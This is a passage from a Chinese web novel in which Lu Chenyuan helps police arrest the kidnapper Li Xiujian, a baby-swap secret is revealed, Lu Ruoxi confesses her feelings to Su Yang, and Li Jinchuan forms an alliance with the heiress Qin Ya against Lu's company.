那是早已埋伏好的，特警队的狙击镜。 一张无形的天罗地网，已经将这里彻底笼罩。 陆沉渊走到巨大的铁门前。 “我来了。”他开口道，声音不大，却清晰地传了进去。 “一个人？”里面传来一个沙哑警惕的声音。 “一个人。” “钱呢？” “带来了。”陆沉渊拍了拍手边的箱子。 “自己推门进来！” 陆沉渊提着箱子，推开铁门走了进去。 厂房内部，空旷而破败。 只有正中央，亮着一盏昏黄的灯。 灯下，站着一个人，正是厉修剑。 他看起来，比之前憔悴了许多。 头发凌乱，眼球布满血丝，像一头被逼到绝路的野兽。 厉修剑的手上，拿着一把猎枪。 而枪口，正对着他身旁的两个人。 柳眉，和她七岁的儿子，陆迢迢。 柳眉的嘴被胶带封着，脸上带着泪痕，眼神里充满了恐惧。 小男孩陆迢迢，却异常镇定，只是紧紧地抱着自己的母亲。 “陆沉渊。”厉修剑看到他，眼中迸发出刻骨的仇恨。 “你终于来了。” “我的钱呢？” 陆沉渊看着厉修剑手里的滑膛猎枪，眼神暗了暗。 这种猎枪前世他见过，村里的猎户有获批使用的，有效距离大概四十米左右！ 陆沉渊在约五十米的地方站住，然后将手中的箱子，扔了过去。 箱子在地上翻滚了几圈，停在厉修剑和陆沉渊的中间。 同时，箱子被撞开，里面的钱散落开来。 “钱我要，你也要死！”厉修剑疯狂笑了起来，枪口猛地对准陆沉渊。 “厉修剑，你斗不过我的。”陆沉渊看着他，神情平静得可怕。 “你的海外资金，被冻结了。” “你国内的保护伞，王辰，刚刚也被带走调查了。” “你所有的棋，都死了。” “你，已经输了。” 陆沉渊的话，像一记记重锤，狠狠地砸在厉修剑的心上。 “不！我没输！”厉修剑疯狂地嘶吼，“我还有人质！我还有你！” “只要杀了你，我就能赢回来！一切都能赢回来！” “是吗？”陆沉渊笑了。 “厉修剑，你筹谋半生，自以为是棋手。其实，你才是那颗最可悲的棋子。” “你什么意思？”厉修剑眯起眼睛。 “你知道，陆芊芊是谁的女儿吗？”陆沉渊缓缓抛出了第一个炸弹。 厉修剑愣住了。 他不知道陆沉渊为什么会突然提起陆芊芊。 “谁关心一个假千金原本的身份！不就是随手找的人吗？” “不。”陆沉渊摇头。 “她是你，厉修剑的女儿。” “轰——” 这句话，如同一道惊雷，在厉修剑的脑海中炸响。 他露出不可思议的神情，猛地转头，看向柳眉。 “他说的是真的？” 柳眉的身体，剧烈地颤抖起来。 她看着厉修剑，眼神里，充满了怨毒和……一丝报复的快感。 她没有点头，也没有摇头。 只是疯狂地笑了起来。 那笑声，在空旷的厂房里回荡着，显得无比凄厉和诡异。 “哈哈哈哈……” 她一边笑，一边用力撕掉了嘴上的胶带。 “哥，我亲爱的大哥。”她的声音沙哑，又带着些许尖利。 “你现在，才想起来问我吗？” “你把我当成一颗棋子，安插在陆明业身边十几年！” “你让我对着一个我不爱的男人，曲意逢迎，强颜欢笑！” “你毁了我的一生，只为了你那可笑的复仇大计！” “现在，你来问我，陆芊芊是谁的女儿？” 柳眉的眼中，流出血泪。 她指着厉修剑，一字一句地说道： “没错！陆沉渊说得对！” “当年，你让我去换婴。你以为，我是随便找的一个孩子吗？” “不！” “我也恨陆家！但是，我更恨你！” “刚好，杨红莲也恨你！” 厉修剑的大脑，一片空白。 杨红莲…… 一个他早已遗忘的名字。 一个当年，和他有过一段露水情缘的女人。 “是杨红莲找到了我。”柳眉的声音，充满了疯狂。 “她说，她恨你。她要把你的亲生女儿，送到你的仇家陆家，让她一辈子被人利用，一辈子当别人的棋子！” “而我，也恨你！” “我恨你这个大哥，逼着我去复仇！” “我恨陆家，是他们毁了我们！” “所以，我答应了她！” “我把她和你的女儿，换进了陆家！” “而陆家真正的千金，陆若溪，被我们卖到了山沟里！” “哈哈哈哈！哥！你听到了吗？” “你机关算尽，你想利用陆家的假千金，来搅乱陆家！” “结果呢？你利用的，是你自己的亲生女儿！” “你亲手，把她推向了深渊！” 真相。 血淋淋的真相，在这一刻被彻底揭开。 厉修剑呆立在原地，如遭雷击。 他手里的枪，“哐当”一声，掉在地上。 他筹谋了一辈子，算计了一辈子。 到头来，却被自己的妹妹，和另一个女人，联手算计了。 他最大的仇人，是陆家。 可他却把自己的亲生女儿，送到了仇人的家里。 他想毁掉陆家，却差一点毁掉了自己的女儿。 这是何等的讽刺。 何等的可悲。 “啊——” 厉修剑发出一声不似人声的咆哮。 他抱着头，彻底崩溃了。 他所有的骄傲，所有的城府，所有的野心，在这一刻都化为了齑粉。 就在这时。 “砰！” 厂房的大门，被人从外面，一脚踹开。 无数手持防爆盾、身穿作战服的特警，如潮水般涌了进来。 黑洞洞的枪口，瞬间对准了场内。 “不许动！警察！” 冰冷的警告声，响彻整个厂房。 原来，陆沉渊的赴约，从一开始就是这个抓捕计划的最后一环。 他，就是那个最完美的诱饵。 特警迅速上前，将已经精神崩溃的厉修剑，死死地按在地上。 冰冷的手铐，铐住了他的双手。 柳眉也被控制住。 陆迢迢被一名女警，温柔地抱在怀里，带离了现场。 一场持续了数十年的恩怨，一场精心策划的阴谋，在今夜终于落下了帷幕。 陆沉渊站在原地，冷冷地看着这一切。 他的脸上，没有胜利的喜悦，只有一片深不见底的平静。 他转过身，向厂房外走去。 身后，是厉修剑癫狂的笑声，和柳眉绝望的哭声。 这些，都与他无关了。 …… 风暴，平息了。 第二天。 京州财经新闻的头版头条，被一则重磅消息占据。 “厉氏集团董事长厉修剑，因涉嫌多项严重经济犯罪、绑架、蓄意谋杀未遂，被警方正式批捕。” “金融监管局副局长王辰，落马。” 消息一出，整个京州商界，为之震动。 盘踞京州数十年，根深蒂固的厉家，一夜之间，轰然倒塌。 所有与厉家相关的产业，股价应声暴跌，瞬间蒸发了数百亿。 一场剧烈的洗牌，开始了。 而这一切的幕后推手，陆沉渊，却仿佛置身事外。 云顶壹号公寓。 陆沉渊站在巨大的落地窗前，俯瞰着脚下的城市。 墨清漓走了进来，将一杯热咖啡，放在他的手边。 “都结束了。”她说。 “不。”陆沉渊摇头，“只是刚刚开始。” 他知道，厉修剑的倒台，只是清除了一个旧时代的毒瘤。 但原剧情中，真正的气运之子，那个踩着陆家尸骨上位的男人，他的故事才刚刚开始。 厉烬川。 对主角的轻视，是所有配角最终走向灭亡的根本原因。 陆沉渊，绝不会犯这种错误。 “柳眉呢？”墨清漓问。 “以商业间谍罪和协助绑架罪被起诉。不过，我让律师帮她申请了取保候审。”陆沉渊淡淡地说。 墨清漓有些意外。 “为什么？” “她虽然可恨，但也是个可怜人。而且，迢迢需要母亲。” 陆沉渊想起了那个在绑架现场，异常镇定的男孩。 事后，他派人去问过陆迢迢，是否愿意回到陆家。 男孩摇了摇头。 他说，他哪也不去，就在原来的家里等妈妈回来。 其实陆沉渊愿意放过柳眉，固然有因为她一直作为厉俢剑的棋子被迫与陆家为敌的缘故。 但是，另一个原因是，在原剧情里，柳眉的儿子路迢迢延续了柳眉对厉俢剑的恨意。 连带着，这个孩子也是作为反派，成为厉烬川成长的路上一个阻碍。 基于这些考虑，陆沉渊最后决定在柳眉这里留一个后手。 至于陆明业。 在得知所有真相后，他彻底垮了。 他所以为的爱情，是一场骗局。 他把自己关在房间里，谁也不见，成了一个真正的废人。 “那芊芊……”墨清漓有些担忧地提起这个名字。 厉修剑是她的亲生父亲。 这个真相，对她的打击一定很大。 “我已经让芊芊知道了。”陆沉渊说，“她很平静。” 在陆沉渊的刻意引导下，陆芊芊早已不是原著中那个只知道争风吃醋的大小姐。 她的足迹，遍布世界各地最贫困的角落。 她的眼界和格局，早已超越了家族和血缘的桎梏。 她只是对陆沉渊说，过去的一切，都过去了。 她是谁的女儿不重要。 重要的是，她是谁。 陆沉渊很欣慰。 这个妹妹，终于活成了她自己最好的样子。 第66章 剧情的惯性？ 厉修剑的时代，结束了。 但陆沉渊知道，这不代表战争的终结。 一个旧的敌人倒下，往往意味着一个新的敌人即将登上舞台。 渊龙科技的办公室里，陆沉渊看着张奇传来的最新资料。 资料的第一页，是一张证件照。 照片上的青年，眼神锐利，嘴角带着一丝若有若无的桀骜。 厉烬川。 “他已经办好了京州大学的入学手续。”张奇说道，“是以体育特长生的资格，进入金融系。” “知道了。”陆沉渊的指尖，在桌面上轻轻敲击。 “需要派人盯着吗？”张奇问。 “不用派人。”陆沉渊说，“把他的资料，发一份给苏阳。” “苏阳？”张奇有些意外。 “嗯。”陆沉渊的目光，落在窗外，“有些事，不需要我们亲自动手。” 他当然可以动用雷霆手段，直接将厉烬川扼杀在摇篮里。 但这不符合他的行事准则。 更重要的是，他要拔除的不只是厉烬川这个人。 而是原著剧情里，那股看不见、摸不着的，名为“主角气运”的宿命之力。 要对抗宿命，就不能用蛮力。 他要做的是釜底抽薪，抽掉厉烬川所有能够崛起的根基。 家族，随着厉氏集团瓦解，现在已经不足为惧。 亲情，厉修剑已经落网。 爱情，陆沉渊也绝不会让他得到。 “我明白了。”张奇没有多问，立刻去执行。 张奇走后，陆沉渊看着窗外的京州，陷入沉思。 厉烬川这颗棋子，终于要自己动起来了。 而他的目标，毫无疑问会是陆若溪。 这或许，就是剧情的惯性吧。 …… 秋日的京州大学，阳光正好。 银杏叶，铺满了校园的小径，金黄一片。 数学系图书馆。 靠窗的位置，陆若溪正对着一道复杂的数学猜想陷入沉思。 她的面前，摊开着几本全外文的最新期刊。 过了一会儿，笔尖开始在草稿纸上飞速地演算着。 一串串复杂的符号和公式，在她笔下流淌，构成一个外人无法理解的严谨而美丽的世界。 自从来到京州大学，她就像一块海绵一般疯狂地吸收着知识。 陆沉渊为她寻找名师，为她组建的实验室。 在这里，她如鱼得水。 曾经那些生活的困顿和人情的冷暖，似乎都离她远去。 她的世界，变得纯粹而简单。 只有那些永恒的，闪烁着智慧光芒的数学定理。 她沉浸其中，甚至忘了时间。 直到一杯温热的奶茶，被轻轻放在了她的手边，她才抬起头。 映入眼帘的，是苏阳那张熟悉的、带着阳光气息的脸。 “又在解难题？”苏阳在她对面坐下，压低了声音。 “嗯。”陆若溪应了一声，拿起奶茶，喝了一口。 甜度，刚刚好。 是她喜欢的口味。 “我看了你发给我的那个模型，有几个地方，我觉得可以优化一下。”苏阳也从书包里，拿出自己的笔记本。 两人开始低声讨论起来。 阳光透过窗户，照在他们年轻的脸上。 一个眼神清冷，专注。 一个目光温和，包容。 岁月静好，仿佛一幅画。 …… 图书馆的另一个角落。 厉烬川的目光，死死地锁定了那个靠窗的女孩。 他今天是第一次来图书馆。 厉家的倒台，对他打击巨大。 他失去了大部分的经济来源，成了名副其实的“破落户”。 但他没有被打倒，他骨子里就是打不死的野草。 他要靠自己，把失去的一切都拿回来。 就在他漫无目的地寻找座位时，他看到了她。 只是一眼，厉烬川就再也移不开目光。 那个女孩，安静地坐在那里。 阳光为她镀上了一层金边。 她的侧脸，线条干净而倔强。 眼神里，有一种让他心悸的专注和纯粹。 那一刻，厉烬川的心被狠狠地击中了，一种从未有过的强烈感觉涌上他的心头。 仿佛冥冥之中，有一根无形的线，将他与那个女孩紧紧地联系在了一起。 这个人，他认识。 不，应该说，他见过她的照片。 叶若溪。 不，现在应该叫，陆若溪，陆家的真千金。 那个父亲让他去安河县，用“英雄救美”的俗套剧本去接近的女孩。 原来，她就是陆若溪。 厉烬川的心中掀起了惊涛骇浪。 是宿命吗？ 在他最落魄，最无助的时候，让他再次见到了这个他本该去算计的女孩。 一个念头，疯狂地在他脑海中滋生。 得到她。 一定要得到她。 她是陆家的千金。 是陆沉渊的亲妹妹。 如果能得到她，自己就能重新获得对抗陆家的筹码。 不，不只是筹码。 厉烬川看着陆若溪，眼神变得炙热。 他有一种强烈的直觉。 这个女孩，是他命中注定的女人。 他正准备起身，朝她走去。 就在这时，一个男生，端着一杯奶茶走到了她的面前。 厉烬川的脚步顿住了。 他看着那个男生，自然地坐在陆若溪对面。 看着他们开始亲密地低声交谈。 看着陆若溪的脸上，露出了他从未见过的柔和的表情。 一股无名的怒火和嫉妒，瞬间席卷了厉烬川。 那个男人是谁？ 他凭什么，能坐在她的对面？ 厉烬川的拳头，在桌下死死地攥紧。 他没有冲动上前，而只是冷冷地看着眼前的一切。 就像一头潜伏在暗处的狼，盯着自己的猎物和猎物身边的另一个雄性。 他看着他们一起收拾书包。 看着他们并肩，走出了图书馆。 厉烬川跟了上去。 他要查清楚，那个男人到底是谁。 …… 几天后。 苏阳的手机，收到了一封加密的邮件。 他打开邮件，里面是厉烬川的详细资料。 包括他的身份，他与厉修剑的关系，以及厉家和陆家的恩怨。 邮件的最后，只有一句话。 “此人危险，可能会接近陆若溪，意图不轨。保护好她。” 没有落款。 但苏阳知道，这封邮件来自谁。 苏阳的心沉了下去。 他想起几天前，在图书馆里，那个一直盯着他和若溪的阴郁的眼神。 原来，那个人就是厉烬川。 苏阳感到了巨大的压力。 他知道陆沉渊的意思。 是要他阻止厉烬川，接近陆若溪。 但是，他该怎么做？ 直接告诉若溪，厉烬川是坏人，让她离他远点？ 以若溪的性格，她会怎么想？ 她会觉得，自己是在干涉她的交友自由吗？ 她会觉得，自己不信任她吗？ 苏阳很纠结。 他一方面，想遵从陆沉渊的嘱托，保护好若溪。 另一方面，他又发自内心地，尊重若溪。 他不愿意，用“保护”的名义，去束缚她，去替她做决定。 他相信若溪的智慧和判断力。 经过几天的思想斗争。 苏阳做出了决定。 他不干涉。 他只守护。 他相信，陆若溪自己能看清一切。 他要做的，只是在她需要的时候，永远站在她的身后。 这就够了。 第67章 已经不一样了 厉烬川的行动很快。 他查清楚了陆若溪所有的课程表，以及她经常出没的几个地方。 图书馆，实验室，还有学校的公共阶梯教室。 他开始制造“偶遇”。 第一次，是在一堂数学系的公开课上。 厉烬川一个金融系的学生，却坐在了数学系的课堂里。 并且，在教授提问一个刁钻的问题时，他给出了一个虽然不完全正确，但思路清奇的解答。 厉烬川成功引起了全场的注意，也包括陆若溪的注意。 下课后，他主动走到陆若溪面前。 “陆同学，你好。我是金融系的厉烬川。”他伸出手，脸上是自信而迷人的微笑。 “刚刚听了你的补充，很有启发。” 陆若溪看了他一眼，礼貌性地点了点头。 “你好。” 她没有伸手，只是淡淡地回应了一句，便转身离开。 厉烬川的手，尴尬地停在半空。 他看着她离去的背影，眼神非但没有受挫，反而更加炙热。 越是带刺的玫瑰，越是能激起他的征服欲。 第二次“偶遇”，是在图书馆。 陆若溪正在查阅资料，而厉烬川“正好”也在查同一本孤本。 “真巧。”他笑着说，“看来我们对‘费马大定理’的兴趣是一样的。” “嗯。”陆若溪依旧是淡淡的反应。 她等他查完，然后才拿起那本书，默默地走到另一边。 整个过程，没有多余的交流。 第三次，第四次…… 厉烬川像一个不知疲倦的猎人。 用尽各种方法，出现在陆若溪的视野里。 他展现着自己的博学和风趣，以及对她的“志同道合”。 不得不说，厉烬川很优秀。 他的优秀，是那种锋芒毕露的，极具侵略性的。 很多女生，都为他着迷。 但陆若溪，始终不为所动。 她就像一座冰山。 无论他如何努力，她都只是礼貌，疏离，客气。 仿佛厉烬川只是一个普通的，甚至有些烦人的同学。 而这一切，都被苏阳看在眼里。 他每天都像一个沉默的影子陪在陆若溪身边。 他看着厉烬川，一次又一次地向陆若溪献殷勤。 他的心里，像打翻了五味瓶。 酸，涩，不安，还有一丝丝的愤怒。 但他忍住了。 他克制着自己，没有上前去质问、去挑衅。 他只是默默地，为陆若溪占好图书馆的位置。 为她买好她爱喝的奶茶。 陪她，讨论那些他有时候会有些跟不上的深奥的数学问题。 苏阳用自己的方式，守护着他们的世界。 只是，他的脸上笑容越来越少。 眉宇间，也多了一丝化不开的忧虑。 而他所有的变化，陆若溪其实都看在眼里。 她是谁？ 她是陆若溪。 一个能从最细微的数据波动中发现规律的天才。 一个男生的情绪变化，她怎么可能察觉不到。 她知道苏阳在担心什么。 也知道，那个叫厉烬川的男生接近她的目的并不单纯。 她只是，不想点破。 她在等。 等一个合适的时机。 也想看看，苏阳这个傻瓜，到底能忍到什么时候。 …… 这天傍晚，两人走在回去的路上。 秋风微凉。 苏阳一路沉默，一副心事重重的模样。 走到无名湖畔时，陆若溪突然停下了脚步。 “苏阳。”她开口。 “嗯？”苏阳回过神。 “你最近，是不是有什么心事？”陆若溪转过身，看着他。 她的目光清澈而锐利，轻易就能看穿他所有的伪装。 “没有啊。”苏阳眼神躲闪，不敢直视她。 “是吗？”陆若溪的嘴角，勾起一抹浅浅的弧度。 “是因为厉烬川？”她直接点破。 苏阳的身体，瞬间僵住了。 他没想到，她会这么直接。 “我……”他张了张嘴，却不知道该说什么。 承认？还是否认？ “你不用瞒我。”陆若溪的语气，依旧平静。 “我知道，他是什么人。” “也知道，他接近我，想干什么。” 苏阳彻底愣住了。 “你……你怎么知道？” “你忘了我是谁了？”陆若溪的眼神里，带着一丝小小的得意。 “一个人的行为模式，眼神，微表情，都是数据。只要数据足够多，就能分析出他的目的。” “厉烬川看我的眼神，不是欣赏，是占有。” “他跟我聊数学，不是热爱，是伪装。” “他所有的‘偶遇’，都充满了设计的痕迹。” “这些数据，足以构成一个完整的行为逻辑链。结论就是，他对我，图谋不轨。” 苏阳听得目瞪口呆。 他第一次发现，用数学，居然还可以分析这个。 “那你……” “那你为什么，还理他？”苏阳问出了心中的疑惑。 “因为，我想看看，你想憋到什么时候。”陆若溪看着他，眼神里却多了一丝揶揄。 苏阳的脸，“腾”的一下，红到了耳根。 原来，她什么都知道。 她一直在看戏。 看他一个人，在这里演内心独角戏。 一股又窘迫，又委屈，又有点甜蜜的情绪涌上心头。 “我……”他支支吾吾，半天说不出一句话。 陆若溪看着他这副样子，忍不住笑了。 她的笑，像湖面荡开的涟漪，明媚而动人。 “苏阳。”她收起笑容，认真地看着他。 “从安河县的小巷子，到京州大学的无名湖畔。” “从那支送给我的钢笔，到这杯永远温度刚好的奶茶。” “陪在我身边，走进我心里的那个男孩，一直，都只有你一个。” 陆若溪的声音很轻，却像一道惊雷在苏阳的脑海中炸响。 他呆呆地看着她，看着她清澈的眼眸里，映出的是自己傻傻的倒影。 心跳，在这一刻仿佛漏掉了一拍。 随即，是狂喜，巨大的、难以言喻的狂喜瞬间淹没了他。 这些天所有的纠结，不安，彷徨，在这一刻，都烟消云散。 他明白了。 他全都明白了。 他不是一个人在守护。 她也用她的方式，在回应着他。 “若溪……”他喃喃地叫着她的名字，声音里带着一丝不易察觉的颤抖。 陆若溪看着他，眼里的笑意更深了。 “所以，以后别再胡思乱想了。” “也别把我想得那么脆弱。” “我的人生，我自己能掌控。我的爱人，我自己会选择。” “至于那些不相干的人……” 她顿了顿，语气里带上了一丝与她年龄不符的冷冽和果决。 “我会亲自处理好的。” 苏阳看着眼前的女孩。 她不再是那个需要他挡在身前拼命保护的瘦弱少女。 她已经长大了，长成了一棵可以为自己遮风挡雨的挺拔的树。 她自信，强大，光芒万丈。 而他，是那个，唯一被允许，站在她树荫下的幸运儿。 苏阳笑了。 他紧绷了多日的嘴角，终于彻底上扬。 那是一个，青春的，肆意的，发自内心的笑容，灿烂得仿佛能融化整个秋天的萧瑟。 “好。”他重重地点了点头。 千言万语，最终只汇成这一个字。 湖边的风，吹起少女的发梢。 也吹开了，少年心中最美的花。 第68章 谁是棋子？ 无名湖畔的告白，厉烬川并未亲眼目睹，但他看到了结果。 第二天，当他再次在图书馆“偶遇”陆若溪时，她的身边，苏阳坦然落座。 这一次，苏阳不再是沉默的守护者。 他看向厉烬川的目光，平静中却带着一丝不容置疑的宣告。 那是属于胜利者的眼神。 而陆若溪，从始至终没有给厉烬川一个多余的眼神。 她甚至没有再维持表面的客气。 她直接选择了无视，仿佛厉烬川只是一团不存在的空气。 厉烬川站在原地，看着他们低声讨论着他听不懂的公式。 阳光依旧，画面依旧。 只是，他成了那个局外人，一个彻底的失败者。 他转身，离开了图书馆。 没有愤怒，没有不甘。 他的脸上，是一种近乎可怕的冷静。 回到自己的住所，厉烬川打开电脑，调出了陆若溪和苏阳的资料。 他看着屏幕上两个人的笑脸，看了很久。 然后，他笑了，那是一种自嘲的、冰冷的笑。 他终于明白，自己错在哪里。 他错在，还相信“爱情”这种虚无缥缈的东西。 他以为，凭借个人的魅力，以及宿命的相遇就能打动一个女人。 这是他从父亲厉修剑那里，继承来的最可笑的思维定式。 陆若溪不是普通的女孩。 她是数学天才，是陆沉渊的妹妹。 她的世界，理智、纯粹、壁垒分明。 想要进入她的世界，靠的不是虚无的“感觉”，而是实实在在的能与她匹配的价值。 苏阳有。 不是因为苏阳本身多优秀。 而是因为，苏阳背后站着陆沉渊。 陆沉渊为他们铺好了路，创造了共同成长的环境。 而他厉烬川，有什么？ 一无所有。 一个破落户的身份，一个罪犯的儿子。 他输得不冤。 厉烬川关掉电脑，靠在椅子上，闭上了眼睛。 他不是输给了苏阳。 他是再一次，输给了陆沉渊。 那个男人，甚至没有亲自下场，就轻易地毁掉了他所有的计划。 挫败感，像潮水般在厉烬川的心里涌起。 但很快，就被更强烈的野心和恨意所取代。 既然爱情这条路走不通，那就换一条路，一条更直接、更血腥，也更有效的路。 权力。 只有掌握了绝对的权力，才能将陆沉渊踩在脚下。 到那时，无论是陆若溪，还是其它的什么，都将是他的囊中之物。 厉烬川睁开眼睛，眼中的迷茫一扫而空。 取而代之的，是狼一般的森冷的寒光。 他需要一个新的起点，一个新的棋子。 …… 三天后。 京州的一个高档会所。 一场名为“未来金融”的高端沙龙，正在这里举行。 能进入这里的，非富即贵。 不是豪门继承人，就是金融圈的新贵。 厉烬川穿着一身借来的西装，站在角落。 他手里的请柬，是在父亲厉修剑留下的旧物中翻找出来的。 而且，早已作废。 但厉烬川只不过是用了一点点小手段，就轻易混了进来。 他像一个饥饿的猎手，审视着场内的每一个人，寻找着他需要的猎物。 很快，他的目标出现了。 秦雅。 秦家的大小姐。 京州有名的“大公主”。 她被一群青年才俊簇拥着，脸上却写满了不耐烦和无聊。 她像一只骄傲的孔雀，对身边所有人的奉承都嗤之以鼻。 厉烬川的嘴角，勾起一抹弧度。 就是她了。 越是骄傲，越是任性，就意味着，她越容易被掌控。 因为她的世界里，只有自我。 只要满足她的自我，就能得到她的一切。 厉烬川没有贸然上前。 他在等待一个机会。 机会很快来了。 秦雅身边的一个富二代，为了讨好她，高声谈论着最近股市的动向。 “雅姐，渊龙科技最近太猛了，‘无距’系统带动整个产业链，股价翻了几番。我上周跟着投了一笔，赚翻了！” “是啊，现在谁不买渊龙的股票，简直就是傻子。” “陆沉渊这手玩得漂亮，简直是点石成金。” 周围一片附和之声。 秦雅的眉头，却皱了起来。 秦家和墨家，在新能源领域是直接的竞争对手。 而墨清漓和陆沉渊的关系，人尽皆知。 在她面前吹捧陆沉渊，无异于自寻死路。 就在这时，一个清冷的声音从人群外传来。 “一群蠢货。” 这个嚣张的声音不大，却清晰地传入每个人耳中。 众人愕然回头。 只见厉烬川端着一杯香槟，缓缓走了过来。 “你说什么？”那个吹捧的富二代，顿时脸色涨红。 “我说，你们只看到了鱼饵，却没看到后面的渔夫。”厉烬川的目光扫过众人，最后落在了秦雅的脸上。 他的眼神没有丝毫讨好，反而带着一丝淡淡的挑衅。 “渊龙科技的股价，是虚火。陆沉渊在用一个美好的未来故事，透支市场预期，绑架整个产业链。一旦他的现金流出现问题，或者技术无法如期兑现，现在的狂欢，就会变成一场踩踏式的崩盘。” 他的话听起来是如此地掷地有声，以至于在场的人都愣住了。 他们从未听过如此大胆的唱衰渊龙科技的言论。 “你是什么人？在这里胡说八道！” “就是，你懂什么？” 厉烬川没有理会那些叫嚣，他的眼睛只看着秦雅。 秦雅挥了挥手，让周围的人安静下来。 她饶有兴致地打量着厉烬川。 “你叫什么名字？”她问道，语气带着居高临下的审视。 “厉烬川。”他平静地回答。 “厉家那个？”秦雅的眉毛微微挑起。 这个名字，在京州上流圈子，最近可是个禁忌。 “你胆子不小，还敢来这里。” “失败者，没有资格谈论胆子。”厉烬川的语气，不卑不亢，“只有资格，寻找下一个翻盘的机会。” 这句话，成功地取悦了秦雅。 她喜欢这种不加掩饰的野心，比那些虚伪的奉承有趣得太多了。 “哦？”她向前一步，靠近他，“那你觉得，你的机会在哪里？” “不在渊龙科技。”厉烬川压低了声音，只有他们两人能听到。 “而在，能与渊龙科技抗衡的地方。” “比如，秦家。” 秦雅的瞳孔微微一缩，这个男人很聪明，而且，很直接。 他知道她想听什么。 “继续说。” “陆沉渊的‘无距’生态，看似无懈可击。但它有一个致命的弱点。”厉烬川说。 “它太重了。研发，生产，渠道，充电网络……他想做全产业链的霸主。这就意味着，他需要海量的，持续的资金投入。他的战线，拉得太长了。” “只要在某一个关键节点，给他制造足够大的麻烦，就能拖垮他整个体系。” “比如？”秦雅的兴趣，越来越浓。 “比如，电池。”厉烬川的眼中，闪烁着智慧的光芒。 “新能源车的核心，是电池技术。陆沉渊现在用的是墨家的技术。如果市面上，出现一种成本更低，性能更优，并且掌握在秦家手里的电池技术呢？‘无距’生态，就会被釜底抽薪。” 秦雅的心里微微一动。 秦氏集团内部，正为这件事头疼。 秦家在新能源领域，一直被墨家压着一头。 没想到，眼前这个落魄的男人，一语就道破了核心。 “你懂技术？”她问。 “我不懂技术。”厉烬川摇头，“但我懂人性，懂资本。” “技术，可以用钱买，可以找人研发。但战略眼光，和抓住机会的狠劲，是买不来的。” 他看着秦雅，一字一句地说道： “秦小姐，你需要的，不是一个技术员。而是一把刀。” “一把，能帮你，精准地刺向敌人心脏的刀。” 秦雅沉默了。 她看着眼前的厉烬川。 这个男人，英俊，冷静，充满野心，像一头蛰伏的猛兽。 虽然落魄，却掩不住那一身的锋芒。 她忽然觉得，那些围绕着她的富二代都成了索然无味的苍蝇。 “你很有趣。”秦雅终于开口。 她从手包里，拿出一张名片递给他。 “明天下午，来秦氏集团找我。” 说完，她不再看他一眼，转身，在一众惊愕的目光中高傲地离去。 厉烬川看着手中的名片。 上面，只有一个烫金的名字，和一个电话号码。 他知道，鱼上钩了。 他收起名片，将杯中剩余的香槟一饮而尽。 然后，转身，消失在喧嚣的人群中。 第69章 小小的惩戒 渊龙科技，顶层办公室。 陆沉渊正在和墨清漓通过视频，讨论着一份海外并购案的细节。 林远敲门进来，然后他将一份文件，轻轻放在桌上。 很快，陆沉渊和墨清漓讨论完细节，墨清漓准备结束视频。 陆沉渊却示意视频那头的墨清漓稍等，拿起了文件。 “陆总，刚收到的消息。” 文件很薄，只有一页纸，上面是关于今晚金融沙龙的情报。 以及一张抓拍的照片。 照片上，厉烬川正和秦雅低声交谈。 “秦雅？”墨清漓看到陆沉渊分享过来的照片。 “看来，我们的老对手，找到了一个新伙伴。” “意料之中。”陆沉渊的表情，没有丝毫意外。 他早就料到，以厉烬川的气运和手段绝不会沉寂太久。 秦家，确实是一个很好的选择。 有足够的实力，也有足够的动机与自己为敌。 “他倒是会选人。”陆沉渊淡淡地评价。 “秦雅这个人，表面上看起来，骄纵自大，又好像是急于在家族中证明自己。厉烬川这种人，正好能投其所好。”墨清漓分析道。 “一把刀，刺向敌人的心脏？”陆沉渊看到了情报中记录下的那句话，不禁笑了笑。 “厉烬川用把自己比作刀来打动秦雅。却不知道，他真的只是别人手中的刀罢了。” “需要我做什么吗？”墨清漓问。 “不用。”陆沉渊摇头。 “让他去折腾。棋盘上多一个有趣的对手，总比一潭死水要好。” “我们按原计划进行。” “秦家如果想在电池上做文章，就让他们做。” “正好，也该让市场看看，什么才是真正的技术壁垒。” 陆沉渊说完，眼眸里似乎闪过微光。 …… 第二天下午，厉烬川准时出现在秦氏集团楼下。 他抬头，仰望着这栋耸入云端的玻璃幕墙大厦。 这里，代表着京州最顶级的资本和权力，也是厉家东山再起的新战场。 他整理了一下西装走了进去。 秦雅的秘书已经在楼下等他。 没有多余的寒暄，直接将他带到了顶层的一间小会议室。 秦雅早已坐在那里。 她换下了一身礼服，穿着干练的女士西装，长发束在脑后。 眼神里没有了昨晚的玩味，只剩下审视。 “坐。”她抬了抬下颚，指向对面的椅子。 厉烬川从容落座。 “你的计划，我要看到具体的东西。”秦雅开门见山。 “在这里。”厉烬川从随身的公文包里，拿出一份文件推了过去。 那是一份厚厚的商业计划书。 从公司架构，技术路线，团队组建，到市场分析，融资方案，乃至未来三年的财务预测。 这份计划书条理清晰，逻辑严密。 秦雅的眼中闪过一丝惊讶。 她没想到，他只用一个晚上就准备得如此周全。 她翻开计划书，看得很快。 “空壳公司，离岸注册，专利收购……”她念出几个关键词，嘴角的弧度越来越明显。 “你想得很周到。用一个海外公司，去收购欧洲一家濒临破产的电池技术研究所。把他们的技术和专利，变成我们自己的。这样，就能完美绕开墨家的技术壁垒。” “是的。”厉烬川点头，“技术可以买，但怎么用，才是关键。” “我需要的启动资金，是五千万。”他直视着秦雅的眼睛， “用这笔钱，完成技术收购和团队的初步搭建。半年内，拿出第一代产品。” “如果我给你这笔钱，我能得到什么？”秦雅合上计划书，身体向后靠在椅背上。 “一个机会。”厉烬川说，“一个在新能源领域，与陆沉渊和墨家正面抗衡的机会。” “还有，我这个人。” 他补充道。 秦雅笑了。 她站起身，走到巨大的落地窗前，看着脚下的车水马龙。 “五千万，对我来说不算什么。”她转过身，“但我从不做亏本的买卖。” “我需要看到你的价值。不仅仅是在纸上。” “下周五，京州大学有个学术讲座。菲尔兹奖的提名者，马尔科姆教授，讲随机微分方程在金融模型里的应用。” 秦雅忽然提到了一个毫不相干的话题。 “我知道。”厉烬川点头。 “我会去听。”秦雅说，“我希望，能在那看到你的精彩表现。” 她这是在下达考验。 厉烬川瞬间就明白了。 她要亲眼看看，他这把刀到底有多锋利。 “好。”他干脆地答应。 “你可以走了。”秦雅下了逐客令。 厉烬川没有多留，起身离开。 当他走出秦氏大厦，回头再看时，他的眼神已经完全变了。 他不再是仰望，而是在审视一件他即将拥有的工具。 …… 一周的时间，很快过去。 马尔科姆教授的讲座，在京州大学最大的阶梯教室举行。 这个阶梯教室座无虚席。 来听讲的，不仅有数学系和金融系的学生，还有许多闻讯而来的业界人士。 